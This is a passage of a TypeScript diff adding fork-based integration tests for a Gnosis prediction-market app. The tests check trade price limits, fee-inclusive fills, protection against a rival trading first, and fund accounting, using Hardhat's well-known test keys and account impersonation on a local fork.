setTimeout(resolve, 2_000)); + } + }; + + const poolPrice = async (child: ForkSession["children"][number], side: Side) => { + const pool = await app.readPoolLiquidity(client, await poolRef(child, side)); + return app.priceFromSqrtPriceX96(pool.sqrtPriceX96, pool.outcomeIsToken0); + }; + + /** A child both of whose pools sit far enough from 0 and 1 for an estimate MOVE away either way. */ + async function tradeableChild() { + for (const child of session.children) { + const [up, down] = await Promise.all([poolPrice(child, "up"), poolPrice(child, "down")]); + const roomy = (price: bigint) => price > (WAD * 3n) / 10n && price < (WAD * 7n) / 10n; + if (roomy(up) && roomy(down)) return { child, up, down }; + } + throw new Error("No child pool sits near 0.5. Run `yarn simulate:session:gnosis-fork --liquidity` first."); + } + + /** `price` is within PRICE_TOLERANCE_TICKS of `target`, either way. */ + function expectAtTarget(price: bigint, target: bigint, what: string) { + const ticks = BigInt(tolerances.PRICE_TOLERANCE_TICKS); + const [up, down] = [10_001n ** ticks, 10_000n ** ticks]; + expect(price, `${what} ended past its target ${target}`).toBeLessThanOrEqual((target * up) / down); + expect(price, `${what} ended short of its target ${target}`).toBeGreaterThanOrEqual((target * down) / up); + } + + /** + * A position `LP_MULTIPLE` times as deep as the pool, from just behind the price to halfway + * to `target`, so the pool thins out again between there and the target. + */ + async function concentrate(child: ForkSession["children"][number], side: Side, target: bigint) { + const lp = privateKeyToAccount(LP_KEY); + await fundOutcomes(lp, child, true); + + const ref = await poolRef(child, side); + const pool = await app.readPoolLiquidity(client, ref); + const spacing = await client.readContract({ + address: ref.address, + abi: TICK_SPACING_ABI, + functionName: "tickSpacing", + }); + const sqrtTarget = app.sqrtPriceX96FromPrice(target, ref.outcomeIsToken0); + const current = tickAt(pool.sqrtPriceX96); + const halfway = (current + tickAt(sqrtTarget)) / 2; + const behind = current - Math.sign(halfway - current) * 2 * spacing; + + const tickLower = Math.floor(Math.min(behind, halfway) / spacing) * spacing; + const tickUpper = Math.ceil(Math.max(behind, halfway) / spacing) * spacing; + const [sa, sb, sc] = [sqrtAtTick(tickLower), sqrtAtTick(tickUpper), pool.sqrtPriceX96]; + const liquidity = pool.liquidity * LP_MULTIPLE; + const amount0 = (((liquidity * Q96 * (sb - sc)) / (sb * sc)) * 102n) / 100n; + const amount1 = (((liquidity * (sc - sa)) / Q96) * 102n) / 100n; + + const outcome = side === "up" ? child.upToken : child.downToken; + const [token0, token1] = ref.outcomeIsToken0 ? [outcome, child.underlyingToken] : [child.underlyingToken, outcome]; + await approve(lp, token0, POSITION_MANAGER, amount0); + await approve(lp, token1, POSITION_MANAGER, amount1); + await send( + lp, + POSITION_MANAGER, + encodeFunctionData({ + abi: POSITION_MANAGER_ABI, + functionName: "mint", + args: [ + { + token0, + token1, + tickLower, + tickUpper, + amount0Desired: amount0, + amount1Desired: amount1, + amount0Min: 0n, + amount1Min: 0n, + recipient: lp.address, + deadline: await deadline(), + }, + ], + }), + ); + + const deeper = await app.readPoolLiquidity(client, ref); + expect(deeper.liquidity, "the position covers the price").toBeGreaterThan(pool.liquidity * 3n); + } + + /** Another account buys `side` until its pool has moved RIVAL_MOVE_BPS further. */ + async function rivalBuy(child: ForkSession["children"][number], side: Side) { + const rival = privateKeyToAccount(RIVAL_KEY); + await fundOutcomes(rival, child, false); + + const ref = await poolRef(child, side); + const pool = await app.readPoolLiquidity(client, ref); + const price = app.priceFromSqrtPriceX96(pool.sqrtPriceX96, ref.outcomeIsToken0); + const limit = app.sqrtPriceX96FromPrice((price * (10_000n + RIVAL_MOVE_BPS)) / 10_000n, ref.outcomeIsToken0); + const amountIn = await balance(child.underlyingToken, rival.address); + + await approve(rival, child.underlyingToken, SWAPR_ROUTER, amountIn); + await send( + rival, + SWAPR_ROUTER, + encodeFunctionData({ + abi: SWAPR_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: child.underlyingToken, + tokenOut: side === "up" ? child.upToken : child.downToken, + recipient: rival.address, + deadline: await deadline(), + amountIn, + amountOutMinimum: 0n, + limitSqrtPrice: limit, + }, + ], + }), + ); + + expect(await poolPrice(child, side), "the rival moved the pool").toBeGreaterThan(price); + } + + /** Runs the app's own steps for one estimate; `beforeSend` runs between quoting a batch and sending it. */ + async function predict(option: PredictOption, deposit: bigint, beforeSend?: () => Promise) { + const funded = await fundCollateral(owner, deposit * 2n); + expect(funded).toBeGreaterThanOrEqual(deposit); + + const router = app.gnosisRouterAddress(CHAIN_ID)!; + const factory = app.tradeExecutorFactoryAddress(CHAIN_ID)!; + const route = app.sDaiDepositRoute(session.collateralToken, CHAIN_ID)!; + const { predicted } = await app.fetchExecutorState(client, { factory, owner: owner.address }); + const ctx: PredictCtx = { + chainId: CHAIN_ID, + owner: owner.address, + executor: predicted, + factory, + router, + collateral: session.collateralToken, + parentMarket: session.parentMarket, + sDaiAdapter: route.sDaiAdapter, + credits: null, + }; + const snapshot: PredictSnapshot = { + options: [option], + deposit, + depositNative: false, + collateralIn: deposit, + collateralBefore: 0n, + creditsFromEoa: 0n, + creditsToSpend: 0n, + creditsAtStart: 0n, + // read from the chain the way the run reads it when it starts + collateralAtStart: await app + .createPredictReader({ client, sessionId: session.id, collateral: session.collateralToken }) + .collateralBalance(ctx.executor), + fromBlock: (await client.getBlockNumber()) + 1n, + slippage: DEFAULT_SLIPPAGE, + optionsPerBatch: 1, + startedAt: Math.floor(Date.now() / 1000), + }; + const deps = { + reader: app.createPredictReader({ client, sessionId: session.id, collateral: session.collateralToken }), + quoter: app.createLensQuoter(client, CHAIN_ID), + }; + + const scope: LedgerScope = { + owner: owner.address, + executor: predicted, + manager: owner.address, + passThrough: [router, SWAPR_ROUTER, route.sDaiAdapter], + collateral: session.collateralToken, + wxdai: session.collateralToken, + credits: session.collateralToken, + options: [option], + }; + const before = await readLedger(client, scope); + + const sent: Array<{ id: string; status: string; data: Hex; logs: Log[] }> = []; + const receipts: TransactionReceipt[] = []; + for (const step of app.planPredict(snapshot, deps)) { + if (await step.canSkip?.(ctx, snapshot)) continue; + const tx = await step.build(ctx, snapshot); + if (step.id.startsWith("predict-")) await beforeSend?.(); + + let status = "success"; + let logs: Log[] = []; + try { + const receipt = await send(owner, tx.to, tx.data, tx.value ?? 0n); + receipts.push(receipt); + logs = receipt.logs; + } catch (reason) { + status = `reverted: ${String(reason).split("\n")[0]}`; + } + sent.push({ id: step.id, status, data: tx.data ?? "0x", logs }); + } + + if (sent.every((each) => each.status === "success")) { + const after = await readLedger(client, scope); + await expectCoreMoneyKept({ client, scope, before, after, receipts, deposit, router, option, sent }); + } + return sent; + } + + it.skipIf(!FORK_RPC_URL)( + "puts a limit at the target on every buy and sell leg it signs", + async () => { + const { child, up } = await tradeableChild(); + + for (const target of [up + MOVE, up - MOVE]) { + const option = optionFor(child, target); + const sideOf = (token: Address): Side | null => + token.toLowerCase() === child.upToken.toLowerCase() + ? "up" + : token.toLowerCase() === child.downToken.toLowerCase() + ? "down" + : null; + + const sent = await predict(option, parseEther("100")); + const batch = sent.find((each) => each.id.startsWith("predict-"))!; + const inner = decodeFunctionData({ abi: app.tradeExecutorAbi, data: batch.data }); + if (inner.functionName !== "batchExecute") throw new Error(`Expected batchExecute, got ${inner.functionName}`); + + const legs = inner.args[0] + .filter((call) => call.to.toLowerCase() === SWAPR_ROUTER.toLowerCase()) + .map((call) => decodeFunctionData({ abi: SWAPR_ROUTER_ABI, data: call.data }).args[0]); + const sides = legs.map((leg) => sideOf(leg.tokenOut) ?? sideOf(leg.tokenIn)); + expect([...sides].sort(), "one buy and one sell").toEqual(["down", "up"]); + + for (const [index, leg] of legs.entries()) { + const side = sides[index]!; + const ref = await poolRef(child, side); + const sideTarget = side === "up" ? target : WAD - target; + expect(leg.limitSqrtPrice, `the ${side} leg carries a limit`).not.toBe(0n); + expectAtTarget( + app.priceFromSqrtPriceX96(leg.limitSqrtPrice, ref.outcomeIsToken0), + sideTarget, + `the ${side} limit`, + ); + } + + await revertTo(snapshotId); + snapshotId = await rpc("evm_snapshot"); + } + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "stops an UP buy and a DOWN sell at the target through a concentrated position", + async () => { + const { child, up } = await tradeableChild(); + const target = up + MOVE; + await concentrate(child, "up", target); + await concentrate(child, "down", WAD - target); + + const sent = await predict(optionFor(child, target), parseEther("300")); + + expect( + sent.map((each) => each.status), + "every step executes", + ).toEqual(sent.map(() => "success")); + expectAtTarget(await poolPrice(child, "up"), target, "the UP pool"); + expectAtTarget(await poolPrice(child, "down"), WAD - target, "the DOWN pool"); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "stops a DOWN buy and an UP sell at the target through a concentrated position", + async () => { + const { child, up } = await tradeableChild(); + const target = up - MOVE; + await concentrate(child, "down", WAD - target); + await concentrate(child, "up", target); + + const sent = await predict(optionFor(child, target), parseEther("300")); + + expect( + sent.map((each) => each.status), + "every step executes", + ).toEqual(sent.map(() => "success")); + expectAtTarget(await poolPrice(child, "down"), WAD - target, "the DOWN pool"); + expectAtTarget(await poolPrice(child, "up"), target, "the UP pool"); + }, + 600_000, + ); + + /** The pool's current dynamic fee, in millionths. */ + const poolFee = async (child: ForkSession["children"][number], side: Side) => { + const [, , fee] = await client.readContract({ + address: (await poolRef(child, side)).address, + abi: ALGEBRA_EVENTS_ABI, + functionName: "globalState", + }); + return BigInt(fee); + }; + + /** One leg's fill from its pool's Swap events: collateral per outcome token, fee included, in WAD. */ + async function legFill(child: ForkSession["children"][number], side: Side, logs: Log[]) { + const ref = await poolRef(child, side); + const swaps = parseEventLogs({ abi: ALGEBRA_EVENTS_ABI, eventName: "Swap", logs }).filter( + (each) => each.address.toLowerCase() === ref.address.toLowerCase(), + ); + expect(swaps.length, `the ${side} leg swapped`).toBeGreaterThan(0); + const amount0 = swaps.reduce((sum, each) => sum + each.args.amount0, 0n); + const amount1 = swaps.reduce((sum, each) => sum + each.args.amount1, 0n); + const [outcome, underlying] = ref.outcomeIsToken0 ? [amount0, amount1] : [amount1, amount0]; + // pool deltas: positive flows into the pool, so a buy takes outcome tokens out + const isBuy = outcome < 0n; + const outcomeMoved = isBuy ? -outcome : outcome; + const underlyingMoved = isBuy ? underlying : -underlying; + return { isBuy, average: (underlyingMoved * WAD) / outcomeMoved }; + } + + it.skipIf(!FORK_RPC_URL)( + "keeps the fee-inclusive average of a buy and a sell leg within the target by no more than the pool fee", + async () => { + const { child, up, down } = await tradeableChild(); + const ticks = BigInt(tolerances.PRICE_TOLERANCE_TICKS); + const [tickUp, tickDown] = [10_001n ** ticks, 10_000n ** ticks]; + const scenarios = [ + { what: "an UP buy", near: "up" as Side, isBuy: true, target: up + NEAR }, + { what: "a DOWN sell", near: "down" as Side, isBuy: false, target: WAD - (down - NEAR) }, + ]; + + for (const { what, near, isBuy, target } of scenarios) { + const capOf = (side: Side) => (side === "up" ? target : WAD - target); + await concentrate(child, "up", capOf("up")); + await concentrate(child, "down", capOf("down")); + + const fees = { up: 0n, down: 0n }; + const recordFees = async () => { + for (const side of ["up", "down"] as const) { + const fee = await poolFee(child, side); + if (fee > fees[side]) fees[side] = fee; + } + }; + const sent = await predict(optionFor(child, target), parseEther("300"), recordFees); + await recordFees(); + + expect( + sent.map((each) => each.status), + `${what}: every step executes`, + ).toEqual(sent.map(() => "success")); + const logs = sent.filter((each) => each.id.startsWith("predict-")).flatMap((each) => each.logs); + + const fill = await legFill(child, near, logs); + expect(fill.isBuy, `${what} is the leg the scenario places next to its cap`).toBe(isBuy); + + const cap = capOf(near); + const fee = fees[near]; + const detail = `${what} averaged ${fill.average} against cap ${cap} with fee ${fee}`; + if (isBuy) { + // a buy pays at most the cap before the fee, so at most cap / (1 - fee) with it + const bound = (cap * tickUp * FEE_DENOMINATOR) / (tickDown * (FEE_DENOMINATOR - fee)); + expect(fill.average, detail).toBeLessThanOrEqual(bound); + } else { + // a sell receives at least the cap before the fee, so at least cap * (1 - fee) with it + const bound = (cap * tickDown * (FEE_DENOMINATOR - fee)) / (tickUp * FEE_DENOMINATOR); + expect(fill.average, detail).toBeGreaterThanOrEqual(bound); + } + + await revertTo(snapshotId); + snapshotId = await rpc("evm_snapshot"); + } + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "keeps an UP buy at or below the target when a rival buys first", + async () => { + const { child, up } = await tradeableChild(); + const target = up + MOVE; + + const sent = await predict(optionFor(child, target), parseEther("100"), () => rivalBuy(child, "up")); + + const end = await poolPrice(child, "up"); + expect( + end, + `UP ended past ${target}; steps: ${JSON.stringify(sent.map((each) => each.status))}`, + ).toBeLessThanOrEqual(target); + }, + 600_000, + ); + + it.skipIf(!FORK_RPC_URL)( + "keeps a DOWN buy at or below the target when a rival buys first", + async () => { + const { child, up } = await tradeableChild(); + const target = up - MOVE; + + const sent = await predict(optionFor(child, target), parseEther("100"), () => rivalBuy(child, "down")); + + const end = await poolPrice(child, "down"); + expect( + end, + `DOWN ended past ${WAD - target}; steps: ${JSON.stringify(sent.map((each) => each.status))}`, + ).toBeLessThanOrEqual(WAD - target); + }, + 600_000, + ); +}); + +/** + * M1 to M3 for a run with no credits that every step of landed: the owner paid the sDAI shown and + * gas, the trade wallet split all of it, nothing stayed where money only passes, and the option + * received at least what each leg's minimum promised. + */ +async function expectCoreMoneyKept(args: { + client: PublicClient; + scope: LedgerScope; + before: Ledger; + after: Ledger; + receipts: TransactionReceipt[]; + deposit: bigint; + router: Address; + option: PredictOption; + sent: Array<{ id: string; data: Hex }>; +}) { + const { client, scope, before, after, receipts, deposit, router, option } = args; + const { owner, executor, collateral } = scope; + + expect(moved(before, after, owner, collateral), "sDAI from the wallet").toBe(-deposit); + expect(moved(before, after, owner, "native"), "the owner paid only gas in xDAI").toBe(-gasPaid(receipts)); + expect(moved(before, after, executor, collateral), "the trade wallet split all it was given").toBe(0n); + expect(moved(before, after, executor, "native")).toBe(0n); + for (const holder of scope.passThrough) { + for (const token of tokensOf(scope)) + expect(moved(before, after, holder, token), `${holder} kept ${token}`).toBe(0n); + expect(moved(before, after, holder, "native"), `${holder} kept xDAI`).toBe(0n); + } + expect(await outsideRecipients(client, receipts, scope), "paid to an outside account").toEqual([]); + + const batch = args.sent.find((each) => each.id.startsWith("predict-"))!; + const decoded = decodeFunctionData({ + abi: parseAbi(["function batchExecute((address to, bytes data)[] calls)"]), + data: batch.data, + }); + const legs = signedOptions(decoded.args[0], [option], { gnosisRouter: router, swaprRouter: SWAPR_ROUTER }).get( + option.childMarket, + )!; + expect(legs.childSplit, "the option splits what the parent split gave it").toBe( + before.tokens.get(executor)!.get(option.underlying)! + deposit, + ); + for (const token of [option.upToken, option.downToken]) { + const floor = + legs.childSplit - + (legs.sold.get(token.toLowerCase() as Address) ?? 0n) - + legs.merge + + (legs.boughtAtLeast.get(token.toLowerCase() as Address) ?? 0n); + expect( + moved(before, after, executor, token), + `${token} received at least the plan's minimum`, + ).toBeGreaterThanOrEqual(floor); + } + expect(moved(before, after, executor, option.invalidToken)).toBe(legs.childSplit - legs.merge); +} + +/** Hardhat's fourth account, whose trade wallet no other fork test touches. */ +const STALE_OWNER_KEY = "0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6" as const; + +describe("the split amount when the cached trade-wallet balance is stale, against a gnosis fork", () => { + const owner = privateKeyToAccount(STALE_OWNER_KEY); + let client: PublicClient; + let wallet: WalletClient; + let session: ForkSession; + let snapshotId: string; + let app: Awaited>; + + beforeAll(async () => { + if (!FORK_RPC_URL) return; + const transport = http(FORK_RPC_URL, { timeout: FORK_RPC_TIMEOUT_MS }); + client = createPublicClient({ chain: gnosis, transport }) as PublicClient; + wallet = createWalletClient({ chain: gnosis, transport }); + await requireLensQuoter(FORK_RPC_URL); + session = await newestSessionWithPools(); + app = await load(); + }, 120_000); + + beforeEach(async () => { + if (!FORK_RPC_URL) return; + snapshotId = await rpc("evm_snapshot"); + }); + + afterEach(async () => { + if (!FORK_RPC_URL) return; + await revertTo(snapshotId); + }); + + const send = async (to: Address, data: Hex = "0x", value = 0n) => { + const hash = await wallet.sendTransaction({ account: owner, chain: gnosis, to, data, value }); + const receipt = await client.waitForTransactionReceipt({ hash }); + if (receipt.status !== "success") throw new Error(`${to} reverted`); + return hash; + }; + + const collateralOf = (holder: Address, blockNumber?: bigint) => + client.readContract({ + address: session.collateralToken, + abi: erc20Abi, + functionName: "balanceOf", + args: [holder], + ...(blockNumber === undefined ? {} : { blockNumber }), + }); + + /** The collateral a predict transaction splits at the session's parent. */ + function parentSplit(data: Hex): bigint { + const decoded = decodeFunctionData({ abi: app.tradeExecutorAbi, data }); + if (decoded.functionName !== "batchExecute") throw new Error(`Expected batchExecute, got ${decoded.functionName}`); + for (const call of decoded.args[0]) { + if (call.to.toLowerCase() !== app.gnosisRouterAddress(CHAIN_ID)!.toLowerCase()) continue; + const inner = decodeFunctionData({ abi: app.gnosisRouterAbi, data: call.data }); + if ( + inner.functionName === "splitPosition" && + inner.args[1].toLowerCase() === session.parentMarket.toLowerCase() + ) { + return inner.args[2]; + } + } + throw new Error("The predict transaction splits nothing at the parent."); + } + + /** An option one MOVE above a child's UP pool, which sits far enough from 0 and 1 to take it. */ + async function roomyOption(): Promise { + for (const child of session.children) { + const ref = app.optionPoolRefs(await app.fetchSessionPools(client, poolOptions(session)), child.id).up; + if (!ref) continue; + const pool = await app.readPoolLiquidity(client, ref); + const up = app.priceFromSqrtPriceX96(pool.sqrtPriceX96, pool.outcomeIsToken0); + if (up > (WAD * 3n) / 10n && up < (WAD * 7n) / 10n) { + return { + childMarket: child.id, + underlying: child.underlyingToken, + upToken: child.upToken, + downToken: child.downToken, + invalidToken: child.invalidToken, + targetPriceWad: up + MOVE, + }; + } + } + throw new Error("No child pool sits near 0.5. Run `yarn simulate:session:gnosis-fork --liquidity` first."); + } + + /** + * Puts `topUp` collateral in the owner's trade wallet, then runs the app's driver as the popup + * would with the trade wallet cached at `cached(real)` and `asked(real)` collateral asked for. + */ + async function predictWithCache(args: { + native: boolean; + topUp: bigint; + cached: (real: bigint) => bigint; + asked: (real: bigint) => bigint; + }) { + const route = app.sDaiDepositRoute(session.collateralToken, CHAIN_ID)!; + const router = app.gnosisRouterAddress(CHAIN_ID)!; + const factory = app.tradeExecutorFactoryAddress(CHAIN_ID)!; + const { predicted } = await app.fetchExecutorState(client, { factory, owner: owner.address }); + + await send( + route.sDaiAdapter, + encodeFunctionData({ abi: app.sDaiAdapterAbi, functionName: "depositXDAI", args: [owner.address] }), + parseEther("100"), + ); + await send( + session.collateralToken, + encodeFunctionData({ abi: erc20Abi, functionName: "transfer", args: [predicted, args.topUp] }), + ); + + const real = await collateralOf(predicted); + const rate = await client.readContract({ + address: route.sDai, + abi: parseAbi(["function convertToAssets(uint256) view returns (uint256)"]), + functionName: "convertToAssets", + args: [WAD], + }); + const tokenPerCollateralWad = args.native ? rate : undefined; + const amount = args.native ? (args.asked(real) * rate) / WAD : args.asked(real); + const ownWallet = args.native + ? await client.getBalance({ address: owner.address }) + : await collateralOf(owner.address); + + // what the popup shows, worked out from the cached balance as usePredictFunding does + const funding = planFunding({ amount, ownWallet, tradeWallet: args.cached(real), tokenPerCollateralWad }); + const snapshot: PredictRequest = { + options: [await roomyOption()], + deposit: funding.deposit, + depositNative: args.native, + collateralIn: funding.collateralIn, + collateralBefore: args.cached(real), + creditsFromEoa: 0n, + creditsToSpend: 0n, + slippage: { tradeBps: 300, creditsBps: CREDITS_SLIPPAGE_BPS }, + startedAt: Math.floor(Date.now() / 1000), + }; + const ctx: PredictCtx = { + chainId: CHAIN_ID, + owner: owner.address, + executor: predicted, + factory, + router, + collateral: session.collateralToken, + parentMarket: session.parentMarket, + sDaiAdapter: route.sDaiAdapter, + credits: null, + }; + + const sent: Array<{ tx: FlowTx; hash: Hash }> = []; + const driver = app.createPredictRun({ + gateway: createViemTxGateway({ + client, + sendTransaction: async (tx) => { + const hash = await wallet.sendTransaction({ + account: owner, + chain: gnosis, + to: tx.to, + data: tx.data, + value: tx.value, + }); + sent.push({ tx, hash }); + return hash; + }, + }), + reader: app.createPredictReader({ client, sessionId: session.id, collateral: session.collateralToken }), + quoter: app.createLensQuoter(client, CHAIN_ID), + flowId: `predict-stale-cache-${Date.now()}`, + ctx: () => ctx, + snapshot: () => snapshot, + }); + + try { + driver.start(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage), { + timeout: 300_000, + interval: 250, + }); + expect(driver.getProgress().stage, JSON.stringify(driver.getProgress().failure)).toBe("complete"); + } finally { + driver.dispose(); + } + + // what each deposit put in the trade wallet, read from the chain either side of its block + let added = 0n; + for (const { tx, hash } of sent) { + const to = tx.to.toLowerCase(); + if (to !== session.collateralToken.toLowerCase() && to !== route.sDaiAdapter.toLowerCase()) continue; + const { blockNumber } = await client.getTransactionReceipt({ hash }); + added += (await collateralOf(predicted, blockNumber)) - (await collateralOf(predicted, blockNumber - 1n)); + } + + const predict = sent.find(({ tx }) => tx.to.toLowerCase() === predicted.toLowerCase()); + if (!predict) throw new Error("No predict transaction was sent."); + + return { split: parentSplit(predict.tx.data!), added, shown: funding.fromTradeWallet }; + } + + const cases = [ + ["an xDAI deposit, cache 2 below the real balance", true, parseEther("5"), (real: bigint) => real - WAD * 2n], + ["an xDAI deposit, cache at 0", true, parseEther("15"), () => 0n], + ["an sDAI deposit, cache 2 below the real balance", false, parseEther("5"), (real: bigint) => real - WAD * 2n], + ["an sDAI deposit, cache at 0", false, parseEther("15"), () => 0n], + ] as const; + + for (const [name, native, topUp, cached] of cases) { + it.skipIf(!FORK_RPC_URL)( + `splits what the deposit added plus the trade-wallet share shown (${name})`, + async () => { + // the low cache asks for more than the wallet holds, the zero cache for less, as the verifier did + const asked = + topUp === parseEther("5") ? (real: bigint) => real + parseEther("4.5698") : (real: bigint) => real - WAD * 5n; + + const { split, added, shown } = await predictWithCache({ native, topUp, cached, asked }); + + expect(split, `added ${added}, shown from the trade wallet ${shown}`).toBe(added + shown); + }, + 600_000, + ); + } +}); + +/** Gnosis' Foresight credits governor, an admin of the token and the manager's governor. */ +const CREDITS_GOVERNOR = "0x4EDCA105188a0783Ab3A6f09c50567D1E3F8591D" as const; +const CREDITS_ADMIN_ABI = parseAbi([ + "function governor() view returns (address)", + "function mint(address to, uint256 amount)", + "function sweepTokens(address token)", +]); +const VAULT_ABI = parseAbi([ + "function convertToAssets(uint256 shares) view returns (uint256)", + "function previewDeposit(uint256 assets) view returns (uint256)", + "function totalSupply() view returns (uint256)", +]); +const MANAGER_EXECUTE_ABI = parseAbi(["function execute(address to, bytes data, uint256 amount, address outputToken)"]); +const WXDAI_WITHDRAW_ABI = parseAbi(["function withdraw(uint256 wad)"]); +const WXDAI_DEPOSIT_ABI = parseAbi(["function deposit() payable"]); +const SDAI_ADAPTER_INTEREST_ABI = parseAbi(["function interestReceiver() view returns (address)"]); +const INTEREST_RECEIVER_ABI = parseAbi(["function claim()"]); +const POOL_FEE_ABI = parseAbi([ + "function globalState() view returns (uint160 price, int24 tick, uint16 fee, uint16 timepointIndex, uint8 communityFeeToken0, uint8 communityFeeToken1, bool unlocked)", +]); + +/** Hardhat's sixth to tenth accounts: each scenario starts from a wallet no other test has used. */ +const FRESH_KEYS = [ + "0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba", + "0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e", + "0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356", + "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97", + "0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6", +] as const; + +/** How far each scenario's estimates sit from their pools, small enough for the amounts below to reach. */ +const NUDGE = (WAD * 2n) / 100n; + +type Child = ForkSession["children"][number]; + +interface Scenario { + key: Hex; + pay: "collateral" | "native"; + /** In the token paid with. */ + amount: bigint; + /** sDAI minted to the owner first, as xDAI paid to the adapter. */ + walletCollateral?: bigint; + credits?: { wallet?: bigint; tradeWallet?: bigint }; + /** The credits tick; on whenever the owner holds credits, as the popup's default. */ + useCredits?: boolean; + /** The options and their estimates, picked against the pools as they are. */ + options: (children: Array<{ child: Child; up: bigint; down: bigint }>) => PredictOption[]; + /** Runs once, after the first batch is quoted and before it is sent. */ + beforeBatch?: () => Promise; + /** Sends with this gas rather than an estimate, so a batch meant to revert reaches the chain. */ + gas?: bigint; + /** Closes the tab at the deposit or the first batch: before it is signed, or once it landed with no hash stored. */ + closeTab?: "before-deposit" | "after-deposit" | "before-batch" | "after-batch"; + /** The wallet times out on the first batch, as the dev wallet's 10 s does on a cold fork, and the node mines it `lagMs` later. */ + lostAnswer?: { lagMs: number; waitMs?: number }; + /** Confirms at Prices moved up to this many times, as the visitor pressing Confirm does. */ + confirmMoved?: number; +} + +interface ScenarioRun { + ctx: PredictCtx; + funding: Funding; + request: PredictRequest; + options: PredictOption[]; + /** Every child of the session, the way the ledger reads them. */ + children: PredictOption[]; + before: Ledger; + after: Ledger; + sent: Array<{ stepId: string; tx: FlowTx; receipt: TransactionReceipt }>; + progress: ReturnType; + driver: import("../../run/types").PredictDriver; + /** Each option's pool prices and fees as the run started. */ + start: Map; + /** Each option's trades as the popup's Details showed them before the run. */ + preview: Map>["previewTrades"]>>; + /** The credits swap as Details showed it before the run, for a run that spends credits. */ + creditsSwap?: import("../types").CreditsSwapPreview; + /** What the node estimated each batch it sized at, before anything was signed. */ + estimates: bigint[]; + /** A fresh driver on the storage as the tab left it, as a reload opens it. */ + reopen: () => import("../../run/types").PredictDriver; + /** The tab closed after its transaction landed and before the hash reached the app. */ + tabClosed: boolean; + /** How often the run stopped at Prices moved and was confirmed. */ + confirmed: number; + /** Moves every driver's clock past a held send's hold, as the visitor waiting it out would. */ + passHold: () => void; +} + +/** The tab closed at this send; the storage it left is what a reload reads. */ +class TabClosedError extends Error {} + +function copyStorage(from: FlowRunStorage): FlowRunStorage { + const copy = createMemoryStorage(); + for (const key of from.keys()) copy.setItem(key, from.getItem(key)!); + return copy; +} + +describe("money kept by every predict run, against a gnosis fork", () => { + let client: PublicClient; + let wallet: WalletClient; + let session: ForkSession; + let snapshotId: string; + let app: Awaited>; + let tolerances: typeof import("../../oracle/tolerances"); + let route: NonNullable>["creditsRoute"]>>; + let fresh = 0; + + beforeAll(async () => { + if (!FORK_RPC_URL) return; + const transport = http(FORK_RPC_URL, { timeout: FORK_RPC_TIMEOUT_MS }); + client = createPublicClient({ chain: gnosis, transport }) as PublicClient; + wallet = createWalletClient({ chain: gnosis, transport }); + await requireLensQuoter(FORK_RPC_URL); + session = await newestSessionWithPools(); + app = await load(); + tolerances = await import("../../oracle/tolerances"); + const found = app.creditsRoute(session.collateralToken, CHAIN_ID); + if (!found) throw new Error("The session's collateral is not the sDAI Foresight credits spend."); + route = found; + + // the fixtures act as the governor; a changed governor would make every grant below fail + const governor = await client.readContract({ + address: route.token, + abi: CREDITS_ADMIN_ABI, + functionName: "governor", + }); + expect(governor.toLowerCase()).toBe(CREDITS_GOVERNOR.toLowerCase()); + const accounts = await rpc("eth_accounts"); + for (const key of FRESH_KEYS) { + expect(accounts.map((each) => each.toLowerCase())).toContain(privateKeyToAccount(key).address.toLowerCase()); + } + }, 120_000); + + beforeEach(async () => { + if (!FORK_RPC_URL) return; + snapshotId = await rpc("evm_snapshot"); + for (const address of [...FRESH_KEYS.map((key) => privateKeyToAccount(key).address), CREDITS_GOVERNOR]) { + await rpc("hardhat_setBalance", [address, `0x${parseEther("10000").toString(16)}`]); + } + }); + + afterEach(async () => { + if (!FORK_RPC_URL) return; + await revertTo(snapshotId); + }); + + const nextKey = () => FRESH_KEYS[fresh++ % FRESH_KEYS.length]!; + + const balance = (token: Address, holder: Address, blockNumber?: bigint) => + client.readContract({ + address: token, + abi: erc20Abi, + functionName: "balanceOf", + args: [holder], + ...(blockNumber === undefined ? {} : { blockNumber }), + }); + + async function sendFrom(from: PrivateKeyAccount, to: Address, data: Hex = "0x", value = 0n) { + const gas = ((await client.estimateGas({ account: from, to, data, value })) * 3n) / 2n; + const hash = await wallet.sendTransaction({ account: from, chain: gnosis, to, data, value, gas }); + const receipt = await client.waitForTransactionReceipt({ hash }); + if (receipt.status !== "success") throw new Error(`${to} reverted`); + } + + /** Sends `data` to `to` as the credits governor, impersonated for the one call. */ + async function asGovernor(to: Address, data: Hex) { + await rpc("hardhat_impersonateAccount", [CREDITS_GOVERNOR]); + try { + const hash = await wallet.sendTransaction({ account: CREDITS_GOVERNOR, chain: gnosis, to, data }); + const receipt = await client.waitForTransactionReceipt({ hash }); + if (receipt.status !== "success") throw new Error(`the governor's call to ${to} reverted`); + } finally { + await rpc("hardhat_stopImpersonatingAccount", [CREDITS_GOVERNOR]); + } + } + + /** + * The adapter's depositXDAI claims the interest receiver's pending xDAI into the vault before it + * mints, which previewDeposit leaves out; claiming first makes the two agree. + */ + async function claimVaultInterest(from: PrivateKeyAccount, adapter: Address) { + const receiver = await client.readContract({ + address: adapter, + abi: SDAI_ADAPTER_INTEREST_ABI, + functionName: "interestReceiver", + }); + await sendFrom(from, receiver, encodeFunctionData({ abi: INTEREST_RECEIVER_ABI, functionName: "claim" })); + } + + const grantCredits = (to: Address, amount: bigint) => + asGovernor(route.token, encodeFunctionData({ abi: CREDITS_ADMIN_ABI, functionName: "mint", args: [to, amount] })); + + /** Sends all of the manager's sDAI to the governor. */ + const drainManager = () => + asGovernor( + route.manager, + encodeFunctionData({ abi: CREDITS_ADMIN_ABI, functionName: "sweepTokens", args: [session.collateralToken] }), + ); + + /** Hands the manager `amount` of the sDAI a drain sent the governor. */ + const refillManager = (amount: bigint) => + asGovernor( + session.collateralToken, + encodeFunctionData({ 